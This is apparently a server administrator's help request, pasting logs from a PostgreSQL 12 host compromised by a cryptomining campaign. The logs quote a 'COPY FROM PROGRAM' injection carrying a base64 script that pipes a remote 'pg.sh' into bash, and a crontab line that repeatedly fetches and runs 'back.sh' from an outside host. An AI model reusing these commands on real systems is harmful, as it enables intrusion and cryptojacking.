I'm using ubuntu 18.04 and postgresql 12,
See journalctl below:
Dec 16 09:39:19 server sudo[55084]: postgres : TTY=unknown ; PWD=/var/lib/postgresql/12/main ; USER=root ; COMMAND=/usr/sbin/sysctl kernel.nmi_watchdog=0
Dec 16 09:39:19 server sudo[55084]: pam_unix(sudo:session): session opened for user root by (uid=0)
Dec 16 09:39:19 server sudo[55084]: pam_unix(sudo:session): session closed for user root
Dec 16 09:39:24 server crontab[56537]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56539]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56543]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56545]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56547]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56550]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56552]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56553]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56555]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56556]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56558]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56559]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56561]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56562]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56564]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56565]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56567]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56568]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56570]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56571]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56573]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56574]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56576]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56577]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56579]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56580]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56582]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56583]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56585]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56586]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56588]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56589]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56591]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56592]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56594]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56595]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56597]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56598]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56600]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56601]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56603]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56604]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56606]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56607]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56609]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56610]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56612]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56613]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56615]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56616]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56618]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56619]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56621]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56622]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56624]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56625]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56627]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56628]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56630]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56631]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56633]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56634]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56636]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56637]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56639]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56640]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56642]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56643]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56645]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56646]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56648]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56649]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56651]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56652]: (postgres) LIST (postgres)
Dec 16 09:39:25 server crontab[56654]: (postgres) REPLACE (postgres)
Dec 16 09:39:25 server crontab[56655]: (postgres) LIST (postgres)
Dec 16 09:39:25 server crontab[56657]: (postgres) REPLACE (postgres)
Dec 16 09:39:25 server crontab[56658]: (postgres) LIST (postgres)
Dec 16 09:39:25 server crontab[56660]: (postgres) REPLACE (postgres)
Dec 16 09:39:25 server crontab[56661]: (postgres) LIST (postgres)
Dec 16 09:39:25 server crontab[56663]: (postgres) REPLACE (postgres)
Dec 16 09:39:25 server crontab[56664]: (postgres) LIST (postgres)
Dec 16 09:39:25 server crontab[56666]: (postgres) REPLACE (postgres)
Dec 16 09:39:25 server crontab[56667]: (postgres) LIST (postgres)
Dec 16 09:39:25 server crontab[56669]: (postgres) REPLACE (postgres)
Dec 16 09:39:25 server crontab[56670]: (postgres) LIST (postgres)
Dec 16 09:39:25 server crontab[56672]: (postgres) REPLACE (postgres)
Dec 16 09:39:25 server crontab[56673]: (postgres) LIST (postgres)
Dec 16 09:39:25 server crontab[56675]: (postgres) REPLACE (postgres)
Dec 16 09:39:25 server crontab[56676]: (postgres) LIST (postgres)
Dec 16 09:39:25 server crontab[56678]: (postgres) REPLACE (postgres)
Dec 16 09:39:25 server crontab[56679]: (postgres) LIST (postgres)
Dec 16 09:39:25 server crontab[56681]: (postgres) REPLACE (postgres)
Dec 16 09:39:25 server crontab[56682]: (postgres) LIST (postgres)
Dec 16 09:39:25 server crontab[56684]: (postgres) REPLACE (postgres)
Dec 16 09:39:25 server crontab[56685]: (postgres) LIST (postgres)
Dec 16 09:39:25 server crontab[56687]: (postgres) REPLACE (postgres)
Dec 16 09:39:25 server crontab[56688]: (postgres) LIST (postgres)
Dec 16 09:39:25 server crontab[56690]: (postgres) REPLACE (postgres)
Dec 16 09:39:25 server postgresql@12-main[56691]: Cluster is not running.
Dec 16 09:39:25 server systemd[1]: [email protected]: Control process exited, code=exited, status=2/INVALIDARGUMENT
Dec 16 09:39:25 server systemd[1]: [email protected]: Failed with result 'exit-code'.
Logs for this period:
rm: cannot remove '/var/log/syslog': Permission denied
chattr: Permission denied while setting flags on /tmp/
chattr: Permission denied while setting flags on /var/tmp/
chattr: Permission denied while setting flags on /var/spool/cron
chattr: Permission denied while setting flags on /etc/crontab
ERROR: You need to be root to run this script
Fatal: can't open lock file /run/xtables.lock: Permission denied
bash: line 12: /proc/sys/kernel/nmi_watchdog: Permission denied
bash: line 13: /etc/sysctl.conf: Permission denied
userdel: user 'akay' does not exist
userdel: user 'vfinder' does not exist
chattr: Permission denied while trying to stat /root/.ssh/
chattr: Permission denied while trying to stat /root/.ssh/authorized_keys
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
cat: /tmp/.X11-unix/01: No such file or directory
cat: /tmp/.X11-unix/11: No such file or directory
cat: /tmp/.X11-unix/22: No such file or directory
cat: /tmp/.pg_stat.0: No such file or directory
cat: /tmp/.pg_stat.1: No such file or directory
cat: /data/./oka.pid: No such file or directory
2021-12-16 09:39:20.212 +06 [54731] LOG: received smart shutdown request
2021-12-16 09:39:20.222 +06 [54731] LOG: background worker "logical replication launcher" (PID 54738) exited with exit code 1
grep: Trailing backslash
kill: (16): Operation not permitted
kill: (56000): No such process
kill: (56005): No such process
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Failed to stop c3pool_miner.service: Access denied
See system logs and 'systemctl status c3pool_miner.service' for details.
log_rot: no process found
chattr: No such file or directory while trying to stat /etc/ld.so.preload
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.1': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.2': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.3': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.1': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.2': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.3': No such file or directory
rm: cannot remove '/var/tmp/lib': No such file or directory
rm: cannot remove '/var/tmp/.lib': No such file or directory
chattr: No such file or directory while trying to stat /etc/ld.so.preload
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.1': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.2': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.3': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.1': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.2': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.3': No such file or directory
rm: cannot remove '/var/tmp/lib': No such file or directory
rm: cannot remove '/var/tmp/.lib': No such file or directory
chattr: No such file or directory while trying to stat /tmp/lok
chmod: cannot access '/tmp/lok': No such file or directory
bash: line 545: docker: command not found
bash: line 546: docker: command not found
bash: line 547: docker: command not found
bash: line 548: docker: command not found
bash: line 549: docker: command not found
bash: line 550: docker: command not found
bash: line 551: docker: command not found
bash: line 552: docker: command not found
bash: line 553: docker: command not found
bash: line 554: docker: command not found
bash: line 555: docker: command not found
bash: line 556: docker: command not found
bash: line 557: docker: command not found
bash: line 558: docker: command not found
bash: line 559: docker: command not found
bash: line 560: docker: command not found
bash: line 561: docker: command not found
bash: line 562: docker: command not found
bash: line 563: docker: command not found
bash: line 564: docker: command not found
bash: line 565: docker: command not found
bash: line 566: docker: command not found
bash: line 567: setenforce: command not found
bash: line 568: /etc/selinux/config: Permission denied
Failed to stop apparmor.service: Access denied
See system logs and 'systemctl status apparmor.service' for details.
Synchronizing state of apparmor.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install disable apparmor
Failed to reload daemon: Access denied
update-rc.d: error: Permission denied
Failed to stop aliyun.service.service: Access denied
See system logs and 'systemctl status aliyun.service.service' for details.
Failed to disable unit: Access denied
/tmp/kinsing is 648effa354b3cbaad87b45f48d59c616
2021-12-16 09:39:25.123 +06 [55065] postgres@postgres FATAL: terminating connection due to administrator command
2021-12-16 09:39:25.123 +06 [55065] postgres@postgres CONTEXT: COPY opwcztav, line 1: "kernel.nmi_watchdog = 0"
2021-12-16 09:39:25.123 +06 [55065] postgres@postgres STATEMENT: DROP TABLE IF EXISTS OPWczTav;CREATE TABLE OPWczTav(cmd_output text);COPY OPWczTav FROM PROGRAM 'echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDE4NS4yNTAuMTQ4LjIxNy9wZy5zaHxiYXNoCmVsaWYgWyAteCAiJChjb21tYW5kIC12IHdnZXQpIiBdOyB0aGVuCiAgd2dldCAtcSAtTy0gMTg1LjI1MC4xNDguMjE3L3BnLnNofGJhc2gKZWxzZQogIF9fY3VybCBodHRwOi8vMTg1LjI1MC4xNDguMjE3L3BnMi5zaHxiYXNoCmZp|base64 -d|bash';SELECT * FROM OPWczTav;DROP TABLE IF EXISTS OPWczTav;
2021-12-16 09:39:25.142 +06 [54733] LOG: shutting down
2021-12-16 09:39:25.167 +06 [54731] LOG: database system is shut down
I scanned the system with ClamAV, it found a malware file in the path /var/lib/postgresql/12/main/a.
Its contents:
bind: Operation not permitted
cmd: echo "*/30 * * * * /var/lib/postgresql/12/main/./oka" > /tmp/a;echo "* */6 * * * wget -q -O- http://xmr.linux1213.ru:2019/back.sh | sh">> /tmp/a; crontab /tmp/a;rm -rf /tmp/a
moniter begin
connect failed, return: -1
is it a source of trouble?
